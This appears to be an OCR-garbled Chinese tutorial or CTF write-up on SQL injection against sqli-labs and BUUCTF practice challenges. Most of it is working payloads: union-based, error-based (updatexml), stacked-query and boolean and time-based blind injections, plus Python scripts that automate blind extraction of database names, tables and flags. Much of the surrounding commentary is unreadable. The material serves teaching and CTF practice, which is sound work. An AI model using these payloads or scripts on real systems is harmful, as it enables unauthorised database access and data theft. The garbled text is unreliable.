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select * from table where id =3
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Your Login name:Dumb
Your Password:Dumb
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select * from table where name=’admin’
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select * from table where name=’admin and 1=1’
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Your Password:Dumb
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Welcome

Unknown column '4' in 'order clause'

e OE8s Ose O NNE (Iatmes Ot O B &k W TESRE 88 NEES

¥ o tTals Frneadina M Yoo | E o d= (Mthar
Llypuon « cncodaing - \_-'\J]-_ w AT b i IS 4 /\\Il-_ v el -

@ Load URL | http://127.0.0.1/sql/Less-1/2id=1" order by 4--+

DU A Bt 8 R Ao
KB T 24 RBCEENT, FZEITUNION, UNIONM{ER ¥ P selectE# 4 R &

SELECT Name,Email,Age FRCM student WHERE Age=l1¢
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Welcome

Your Login name:2

Your Password:3
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?id=-1"' union select 1,(select group_concat(database())),3--+
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?id=-1" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=d
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?i1d=-1%27%20union%20select%201
(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%2
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Your Password:3
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?id=-1"' union select 1,(select group_concat(username) from security.users limit 0,1),3--+

Welcome
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name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin:
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UpdateXML(xml_target, xpath_expr, new_xml)

xml_target: FFE#AEHKIxmI A B

xpath_expr: 7 Z 5 i #xml %42 (Xpathig )

new_xml: EHEHHE
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username=admin'or(updatexml(1,concat('~", (select(database())), '~"'),1))#&password=123
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username=admin'or(updatexml(1,concat('~", (select(group_concat(column_name))from(information_schema.columns)

i

~|d username,password~

B

username=admin'or(updatexml(1,concat('~", (select(password)from(H4rDsql)), '~"),1))#&password=123
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XEFHIT FEfagR AR, F yupdatexml B2 #7755 5 K KK B A32, A bLix B2 3 leftes Hofm
right R $ist 47 5LEX

username=admin'or(updatexml(1,concat('~", (select(right(password,25)from(H4rDsql)), " '~"),1))#&password=123
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extractvalue(): Rmysqlitxml ZREHE 31T KIxpath & $

extractvalue (XML_document, XPath_string);fiESupdatexml—3

floor() :mysql® FREVEM R, Sgroup byR#iHHH

exp() : LR BUR FEle (B AN AR ) BMEXKFE, HEE—NKRT709MER, Eftexp()HM5E—EHER

HBEAN

HeBIENBR R 2 KB H) — FAT .
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XXXXXXXXXX select databse();select * from users;
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BFRAEERIRSE, RiR—aliE: 74

ZHhe 1 | eseEn |

return preg match(”/select | update|delete|drop insert where \./i”, $inject) :

AR FHHESEN, f#Hshowsk 7] LA Hselect T .

BRFRARLHIRSE, Qik—iE: ARNZER—FAA

ﬁ%’:ll';show databases; # ] 1835

array(2) {
[0]=>
string(1) "1
(1]1=>
string(7) “hahahah”
'

a”

array (1) {

[0]=>

string(11) “ctftraining”
}

array (1) {
[0]=>
string(18) “information_schema”
+
array (1) {
[0]=>
string(5) “mysql”

1

ETXRRERERBMFBRER

1';show tables;#

array (1) {

[0]=>

string (16) ”“1919810931114514”
}

array (1) {
[0]=>
string (56) “words”

}
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1';show columns from ~1919810931114514 ;#

RERRLEM ERBS]S, REGEERGIHN.

array (6) {
[0]=>
gt?ing(4) "Flap”

R¥iflag, HREIMNEEREIRN. Fikfwords, KIMEEEMNMAERE, BEIEEERAN

select * from words where id = '';

g5& 1'or 1=1#7] DL B4 3R 408 T DUF A 48 i 7 V518 182501919810931114514 Awords,  flagi&sihid, HAT
LAEflagiEEX T .

% payload:

1';

alter table words rename to wordsil;

alter table "1919810931114514° rename to words;

alter table words change flag(#EMMTFE) id(BHHRMFE%) varchar(50);

#
ZH: |1 IF=5500
array (1) {
[0]=>
string (42) “flag{b8d76ef9-4h8f-4190-871a-ba2ed8f6d360}”
}
AT EEEAN
BREFREEENLIN RS

Length O H#$ REIFRFHEHKE

Substr () BEUFHFE

Ascii O BEFfMasciiid

sleep(n): KREFHER—BNE nAn®
if(exprl,expr2,expr3): AWiEa WHRE —AEAERBRPITE ZMEDUNRERPITE=/MER
MID() ¥ T MICAF BRI R/
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MAZSH)E, RIurlkhF Ngetts A Hstunum

O 8 9417e4fa-47fA-433c-ac34-685832ae9e0e.noded.buuoj.cn:81/?stunum=1

285 F 2llength i Bl 2 BHEN R

?stunum=if(length(database())>1,1,0)

KB IHEA B R AR
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Encoding~ SQL~ XSS~ LFI~+ XXE~ Other~

http://9417e4dfa-47f4-433c-ac34-685832ae9e0e.node4.buuoj.cn:81
I’?stunum=if(|ength(database())>|’l 1.0)

Rt NN

?stunum=if(length(database())>3,1,0)

TUTH (6] B 0t 2 A AR AE
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Encoding~ SQL~ XSS~ LFI~ XXE~ Other~

http://9417edfa-47f4-433c-ac34-685832ae9e0e.node4.buuoj.cn:81
/?stunum=if(length(database())>3|,1,0)
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WK RILIE T E s
RERMREEREESL T, XEGHMITE
—. R Flsubstrizi®f, BEHEXTLL

if(substr((select/**/database()),1,1)=c,1,0)



X VEAE S A v LR T E B
—. hn_basciigk ¥t

if(ascii(substr((select/**/database()),1,1))>25,1,0)

X/ payload?E 5 AR BB FFERT L, WA T kAR, R EEER,

ETROPBERAMBRESEN—F, RA A substrif £ — A — MBI FRFZEAN AW . ERXMEEFLT
ANE 2 RIS CAZE R BILA

HER LA

import requests
table="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHIKLZXCVBNM1234567890_ {} +,/"

data=""
for a in range(1,50):
for b in table:
url="http://d6b3e672-c286-4a75-b908-eca0d4844759.node4.buuoj.cn:81/?stunum=if(substr((select/**/dat
#turl="http://d6b3e672-c286-4a75-b908-ecadd4844759.node4.buuoj.cn:81/?stunum=if(substr((select(group
#url="http://d6b3e672-c286-4a75-b908-ecadd4844759.node4.buuoj.cn:81/?stunum=if(substr((select(group
#url="http://d6b3e672-c286-4a75-b908-ecadd4844759.node4.buuoj.cn:81/?stunum=if(substr((select(group
r = requests.session().get(url,timeout=3)
if "Hi admin" in r.text:
data+=b
print(data)
break
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import requests
url = "http://d6b3e672-c286-4a75-b908-eca®d4844759.node4.buuoj.cn:81/?stunum="

result = ""
i=290

while( True ):
i=1i+1
high=32
low=127

while( high < low ):
mid = (high + low) // 2

#tpayload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)
#tpayload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where
#tpayload = "if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)whe
payload = "if(ascii(substr((select(group_concat(value))from/**/flag),%d,1))>%d,1,0)"%(i,mid)
r = requests.get(url+payload)
r.encoding = "utf-8"
if "Hi admin" in r.text :
high = mid + 1
else:

low = mid
last = result

if high!=32:

result += chr(high)
else:

break
print(result)
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sql-lab-less8:
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FIWT ARG S FRBENE, HiAsleepiEh]
?id=1' and if(length(database())>0,sleep(3),1) --+

b HiE e i - 3 e - =] ko o = 512k
(00 GET & 127001 feqlless-9y%id =1 and if{lengthidatabase())>0,sleap(3),0) --+ document hitrm 925 F 144 =75 T B 3053 S0
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?id=1"' and if(ascii(substr(database(),1,1))>25,sleep(3),1) --+

?id=1"' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schem

BB

?id=1' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_sch

fAIA

import requests
import time
database=""
str=""
table="abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_. '
for i in range(1,9):

for char in table:

charAscii = ord(char)

url = "http://localhost/sql/Less-8/?id=1"' and if(ascii(substr(database(),{0},1))={1},sleep(3),1)--+
urlformat = url.format(i,charAscii)
start_time = time.time()

rsp = requests.get(urlformat)

if time.time() - start_time > 2.5:
database+=char
print ('database: ',database)
break
else:
pass
print ('database is

+ database)



ETREAREE
FEBAT SQLIEA R, & Blunion,and,or 58 it vk T 8L AT DL B A R BiE A
a7 5 e

FRERE-MEZEEHE, BRENEGSZME: WAKMEHER (ARSFER/R AR (0, BMFERRBAIE
(D, null SEMAFAEFEZEE A, MRNEENAEERERZ, ZSRS5EMESHTERNE

RBl1~1=0,070=0,170=1

FI XA R A LA#Eunion, and, or#f#id M T SEPEA
[t K Pkik 2019]FinalSQL

BT AANETERERMA 2/, £AEEHLSEUlLEI?d.
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O R f208edeb-e9b2-4542-87§2-9348eb856e64.noded.buuoj.cn:81/search.pt

M#FErE DOxmmit © stk

W4E JF 5 Hpayload, #i5E H A .
1B

?id=1~(ascii(substr(database(),%d,1))>%d)

BR

?id=1~(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=data

BB

?id=1~(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema=da
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import requests
flag = "'
for i in range(1,300):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
#payload "http://f208edeb-e9b2-4542-8712-9348eb856e€64.noded.buuoj.cn:81/search.php?id=1~(ascii(su
#tpayload = "http://f208edeb-e9b2-4542-87f2-9348eb856e64.noded.buuoj.cn:81/search.php?id=1"(ascii(su
#tpayload = "http://f208edeb-e9b2-4542-87f2-9348eb856e€64.noded.buuoj.cn:81/search.php?id=1"(ascii(su
payload = "http://f208edeb-e9b2-4542-8712-9348eb856e64.node4.buuoj.cn:81/search.php?id=1~(ascii(sub

r = requests.get(url=payload)

if 'ERROR' in r.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid<33 or mid>127):
break
flag = flag+chr(mid)
print(flag)

LR
SQLIEAY]Z: http://mrw.so/5XGMGV
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